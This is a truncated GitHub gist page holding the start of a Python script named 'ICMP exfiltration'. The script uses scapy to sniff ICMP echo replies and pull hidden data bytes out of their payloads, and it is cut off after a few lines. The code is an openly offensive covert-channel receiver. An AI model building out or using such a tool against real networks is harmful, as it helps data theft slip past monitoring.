Skip to content

Instantly share code, notes, and snippets.

View BobTheShoplifter's full-sized avatar
💻
💻

Daniel Christensen BobTheShoplifter

💻
💻
View GitHub Profile
@BobTheShoplifter
BobTheShoplifter / exfil.py
Created February 20, 2023 12:01
ICMP exfiltration
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import sniff, ICMP
def process_packet(packet):
if packet.haslayer(ICMP) and packet[ICMP].type == 0:
data = packet[ICMP].load[-8:]
try: